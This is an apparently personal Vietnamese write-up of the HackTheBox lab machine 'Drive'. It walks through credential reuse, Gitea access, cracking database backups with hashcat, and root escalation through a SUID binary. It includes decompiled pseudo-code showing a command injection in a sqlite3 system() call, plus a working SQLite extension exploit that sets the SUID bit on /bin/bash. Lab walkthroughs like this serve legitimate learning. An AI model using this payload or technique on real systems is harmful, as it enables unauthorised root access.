Enumeration
Zenmap:
Kiểm tra webstite:Tạo tài khoản và upload một file bất kỳ.Gaining access martin
Gaining access tom
Trước đó khi đọc file với id 101:
Tôi biết rằng có một số file backup database được lập lịch để lưu lại. Lấy chúng về máy:Sau khi tải về mở nó lên và giải nén tôi thấy file được bảo về bắt password. Kiểm tra và tìm kiếm password cho các file vì tôi biết rằng cần một dịch vụ lập lịch để thực hiện backup các file này. Khi đó tại các port được mở và tôi thấy server trên port 3000 hoạt động private:Forwalk Port 3000 và truy cập nó:
Đây là một website gitea, thử login nó với user và password mà tôi đã lấy được trước đó:Tôi đã login thành công gitea với user và password có sẵn. Tôi thấy tồn tại file db_backup.sh với nội dung như sau:
Từ đây tôi thấy rằng tất cả các file 7z được mã hóa với password ở trên, giải mã chúng và đọc database tôi thấy:Crack chúng với hashcat tôi thu được một password cho user tom. Login với ssh:
Privilege escalation
Tôi thấy file doodleGrive-cli có đặc quyền root, tải nó về và decomplit nó:
/* jsdec pseudo code output */
/* D:\thehackbox\Machines\Drive\doodleGrive-cli @ 0x4021ed */
#include <stdint.h>
int32_t main (void) {
char * s;
char * var_40h;
int64_t var_8h;
rax = *(fs:0x28);
var_8h = *(fs:0x28);
eax = 0;
edx = 1;
rsi = 0x004973a8;
rdi = "PATH";
setenv ();
edi = 0;
eax = 0;
_setuid ();
edi = 0;
eax = 0;
setgid ();
puts ("[!]Caution this tool still in the development phase...please report any issue to the development team[!]");
puts ("Enter Username:");
rax = &s;
fgets (rax, 0x10, *(stdin));
rax = &s;
rdi = rax;
sanitize_string ();
eax = 0;
_printf ("Enter password for ");
rax = &s;
esi = __libc_tsd_LOCALE;
eax = 0;
_printf (rax);
puts (0x0049743d);
rax = &var_40h;
fgets (rax, 0x190, *(stdin));
rax = &var_40h;
rdi = rax;
sanitize_string ();
rax = &s;
rsi = "<USERNAME>";
rdi = rax;
eax = fcn_00401130 ();
if (eax == 0) {
rax = &var_40h;
rsi = "<PASSWORD>";
rdi = rax;
eax = fcn_00401130 ();
if (eax != 0) {
goto label_0;
}
puts ("Welcome...!");
main_menu ();
}
label_0:
puts ("Invalid username or password.");
eax = 0;
rcx = var_8h;
rcx ^= *(fs:0x28);
if (eax != 0) {
_stack_chk_fail_local ();
}
return rax;
}
Tại đây tôi thấy được username và password của file doodleGrive-cli. Sau khi nhập thành công user và password:/* jsdec pseudo code output */
/* D:\thehackbox\Machines\Drive\doodleGrive-cli @ 0x401f6b */
#include <stdint.h>
int64_t activate_user_account (void) {
char * format;
char * string;
int64_t var_8h;
rax = *(fs:0x28);
var_8h = *(fs:0x28);
eax = 0;
eax = 0;
_printf ("Enter username to activate account: ");
rax = &format;
fgets (rax, 0x28, *(stdin));
rax = &format;
rsi = 0x0049716d;
rdi = rax;
fcn_00401160 ();
*((rbp + rax - 0x140)) = 0;
rax = &format;
eax = *(rax);
if (al == 0) {
puts ("Error: Username cannot be empty.");
} else {
rax = &format;
rdi = rax;
sanitize_string ();
rdx = &format;
rax = &string;
rcx = rdx;
rdx = "/usr/bin/sqlite3 /var/www/DoodleGrive/db.sqlite3 -line 'UPDATE accounts_customuser SET is_active=1 WHERE username="%s";';
esi = 0xfa;
rdi = rax;
eax = 0;
snprintf ();
rax = &format;
rsi = rax;
eax = 0;
_printf ("Activating account for user '%s'...\n");
rax = &string;
rdi = rax;
system ();
}
rax = var_8h;
rax ^= *(fs:0x28);
if (al != 0) {
_stack_chk_fail_local ();
}
return rax;
}
Tại đây tôi thấy rằng chương trình chỉ thay thế %s bằng user đã truyền vào, Tôi nghĩ rằng mình có thể trèn sqliFunction Edit
Trong sqlite có function edit: edit() SQL function
Kiểm tra file /bin/bash và lấy root:Khi đó tôi tạo một file exploit có nội dung sau:
Khi đó trong doodleGrive-cli sẽ được thực hiện như sau:Function load_extension
Tôi có thể lợi dụng load_extension để thực hiện khai thác: Run-Time Loadable Extensions
Tôi có mã khai thác như sau:
/* Add your header comment here */
#include <sqlite3ext.h> /* Do not use <sqlite3.h>! */
SQLITE_EXTENSION_INIT1
#include <stdlib.h>
/* Insert your extension code here */
#ifdef _WIN32
__declspec(dllexport)
#endif
int sqlite3_extension_init( /* <== Change this name, maybe */
sqlite3 *db,
char **pzErrMsg,
const sqlite3_api_routines *pApi
){
int rc = SQLITE_OK;
SQLITE_EXTENSION_INIT2(pApi);
/* insert code to initialize your extension here */
system("/usr/bin/chmod +s /bin/bash");
return rc;
}
Build file thành file yu.so, sau đó tôi thực hiện khai thác như sau:
Sau đó kiểm tra /bin/bash và tôi có người dùng root.Còn một số con đường khác để khai thác root, tôi sẽ bổ sung sau. Tuần này sẽ là tuần khá bận rộn đối với tôi. Tôi sẽ cố gắng update nó.